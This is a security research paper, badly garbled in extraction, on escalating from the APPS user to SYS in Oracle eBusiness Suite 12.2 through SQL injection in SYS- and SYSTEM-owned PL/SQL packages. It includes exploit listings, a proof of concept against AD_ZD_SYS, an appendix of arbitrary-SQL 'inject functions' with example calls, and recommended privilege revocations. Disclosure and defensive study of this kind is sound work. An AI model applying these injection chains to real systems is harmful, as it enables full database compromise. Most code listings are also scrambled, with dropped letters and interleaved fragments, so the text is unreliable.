Executing SQL as SYS from APPS in Oracle’s eBusiness Suite(and trying to prevent it!)David Litchfield
7th June 2016

Introduction
This paper presents several methods for the APPS user to execute SQL as SYS in Oracle’seBusiness Suite 12.2 and earlier. As SQL executed from any web­based application executes
as the APPS user, these methods present a critical risk to the backend database server andthey need to be prevented.
There are a number of PL/SQL packages owned by SYS that can be executed by APPS. Thereare many more that can be executed by SYSTEM and there are also packages owned bySYSTEM that can be executed by APPS: this indirectly increases the attack surface exposed toAPPS by SYS; by exploiting extant flaws in SYSTEM owned packages APPS can gain accessto SYS owned packages and from there exploit any weaknesses.

Figure 1: Direct and Indirect Attack Surface

Of course, this chaining might not even be necessary. There are a number of packages owned
by SYS that can be executed APPS that allow for the execution of arbitrary SQL. For example,in earlier, unpatched versions of eBusiness Suite, APPS can execute DBMS_YQL​​. Thispackage contains a function ​PARSE_U​ that allows SQL to be parsed under a given user
ID, including SYS, which can then be executed with that user’s privileges:

Direct execution of DBMS_SYS_SQL
SQL>conetAP/paswrd
Conectd.
SQL>setrvoupn
SQL>declar
2cnumber;
3rnumbe;
4sy_ueridnmb;
5begin6sy_uerid:=0;
7c:=sy.dbm_qlopenur();
8sy.dbm_qlpareu(c,'gindbms_outp.line(ycx'rv,);
end;',bms_ql.ativyur)
9r:=dbms_ql.excut();
10dbms_ql.coeur();
1end;
12/
SY
PL/SQprocedusflymt.
SQL>
Listing 1: Executing DBMS_SYS_SQL directly

autonms_rci;beg

selctap.b_w1dqxu('rgmThis needs to be “weaponized” if it is to become useful to an attacker exploiting a SQL injection
flaw in the web front end. In the exploit below, which can be injected via a web server SQL
injection flaw, the code in Listing 1 above is essentially sent to theaps.b_wct1dqlexu​ function for execution. This function executes anarbitrary SQL​ statement and is known in attacker circles as an a
​ uxiliary inject function; SeeAppendix A for more auxiliary inject functions available in eBusiness Suite.

c:=sy.dbm_qlopenur();a,'begindbms_outp.line(ycx'rv,);end',bms_ql.ativ0r:=xcu(
dbms_ql.coeur();n'fa
Revoking the execute privilege from APPS on DBMS_SYS_SQL will prevent thisparticular attack vector. Indeed, it was reported to Oracle in 2014 and they addressed it inApril 2016 ­ see CVE​­2016​­0697 in h​ ttp://www.davidlitchfield.com/OracleCPUApril2016.pdf

SQL Injection in SYSTEM.AD_APPS_PRIVATEIn later, patched versions of eBusiness Suite, APPS no longer has the execute privilege onDBMS_YQL​ but SYSTEM does. So if APPS can exploit a SQL injection flaw in a SYSTEM
owned package APPS can again gain access to DBMS_YQL​​. In the exploit below, APPS
uses the ​APS.G_CU
TOM_PV.EXCD​ auxiliary inject function to execute theSYTEM.AD_PRIVOL​ procedure whilst simultaneously exploiting aSQL injection flaw in it to execute ​DBMS_YQL​ so the chain goes from ​ASG_CUTOMPVto ​SYTEM.AD_PRIVATE​ to ​SY.DBM_QL
selctAPS.G_CUTOMVEXD('bginsytem.ad_privol('bun|:1);
excutimda'lrpgons_;
number;gic:=sy.d_qlop()sy.dbm_qlpareu(c,'gindbms_outp.line(ycx'rv',curent_s);ddbms_ql.native,0);r:=xcu(
dbms_ql.coeur();n'­,fa

SQL injection in SYSTEM.AD_INST
In addition to the SQL injection flaws in AD_APPS_PRIVATE, AD_INST also suffers from SQL
injection flaws:
procedu_asl(dl_texinvarch2)​in_schema​invarch2,cisintegr;
varch2(50);beginstaemn

rows_pcedintg;

c:=dbms_ql.openur;​i n _ s c h e m a ​|'.aps_dl(:tex);
staemn:='bgi|
end;'dbms_ql.pare(c,tniv);
dbms_ql.invare(c,'tx);
rows_pced:=bmql.xut();
dbms_ql.coeur();This to can be exploited to gain access to DBMS_SYS_SQL.
Revoking the EXECUTE privilege from SYSTEM on DBMS_SYS_SQL would go a long way
to preventing abuse. However, this still leaves the attack surface presented by packagesin the SYS schema that are directly executable by APPS.
We could revoke the execute privileges from APPS on AD_INST and AD_APPS_PRIVATE
too but given APPS has the EXECUTE ANY PROCEDURE privilege we’d need to revokethat privilege too.

SQL Injection in SYS.AD_ZD_SYS
AD_ZD_SYS is owned by and executes with SYS privileges. It is executable by APPS. It suffersfrom multiple SQL injection flaws. If we examine the source we find the LOG procedure:​X _ M E S S A G E
proceduLOG(X_MDUEvah2,Vvarch2)
isL_APSYvarch2(30);
L_MODUEvarch2(80):=pkge|xmodul;
begin.
.
excutimda'inserto|l_apy.dzg'(log_sequnc,module,sag_txinyptimesap)'|'values('|_py.dzognxt,'sy_contex(USERNV,IOD)|'subtr(|'|l_modue,​x _ m e s s a g e ​|',1390)

'|x_lev,SYDATE);
comit;

If we look at what calls the LOG procedure we see, for example,​X _ S T A T U S ​varch2)
proceduALTER_OGNI(
is
C_MODULEvarch2(80):='lteogni;
begin
​log.

​(c_module,'E​x _ s t a t u s ​);
VENT',alterogni:|.
As we can see, ​X_STAUS ​ is passed to ​LOG
dynamic INSERT statement as part of ​X_MESAG​ without validation and then concatenated in a​. ​X_STAU​ is controlled by the user.

This can be trivially exploited. As a simple PoC:
EXC
SY.AD_ZLTEROGNI('|sycontexurv,'curent_s)|B;
This will execute the ​SY_CONTEX​ function as SYS.

Revoking the execute privilege from APPS will help prevent this as an attack vector;
however, as SYSTEM also has the execute privilege it needs to be revoked from SYSTEM
too, otherwise an APPS to SYSTEM to SYS chain can be used.

SummaryWhatever SYS can do, APPS can do too if there is a SQL injection flaw in a SYS owned
package executable by APPS. Further, whatever SYSTEM can access in the SYS schema sotoo can APPS if there is a SQL injection flaw in a SYSTEM owned package executable byAPPS. ​Indeed, given APPS has the EXECUTE ANY PROCEDURE privilege any vulnerable
object in any non­SYS schema will give APPS access to all the SYS packages that user hasaccess to. (For example, XDB can execute SYS.DBMS_PDB_EXEC_SQL.)
The question is how does one limit exposure? Sure, we can revoke execute privileges, we canrevoke the EXECUTE ANY PROCEDURE privilege and so on but this is just spot fixing. Unless
you really embark on a project that strips down APPS to the bare bones, you really need toconsider other options such as a database firewall. And just food for further thought, given thearchitecture of eBusiness Suite even if we’re left with a perfect situation where no lateral orvertical privilege movement is possible, given APPS owns all the key data we’re still left with thatto manage.

Appendix A
Auxiliary inject functions are functions that execute an arbitrary SQL statement and therefore
allow the execute of any SQL including DML and DDL even from a SELECT statement. (This isachieved by specifying the ​AUTONMS_RCI​ pragma in the declaration block)
APPS.ASG_CUSTOM_PVT.EXEC_CMD
This function returns a VARCHAR.
Example:selctap.ASG_CUTOMPVxmd('bgindbms_outp.line(r);'fa

APPS.WIP_MASS_LOAD_UTILITIES.DYNAMIC_SQL
This function returns a NUMBER.
Example:selctap.WIP_MASLODUTEdynmiq('bgdbms_outp.line(r|:xgf1_def2bin|:xprocsha);',0mul

APPS.MSC_GET_NAME.EXECUTE_SQL_GETCOUNTThis function returns a NUMBER.
Example:selctMSC_GETNA.XUQLO('bgindbms_outp.line(r);'fa

APPS.BSC_UPDATE_UTIL.EXECUTE_IMMEDIATE
This function returns a NUMBER.
Example:selctap.BSC_UPDATEILxuimd('bgn
dbms_outp.line(r);'fa
Note: does not exist in EBS R12

APPS.PSB_WS_ACCT1.DSQL
This function returns a NUMBER.
Example:selctap.b_w1dqxu('gindbms_outp.line(r);'fa
Note: does not exist in EBS R12
Note: ​okc_wf.explsq​and aps.okc_utilex​
DML inject points (their code issues a savepoint)
ecut_sql​can be used in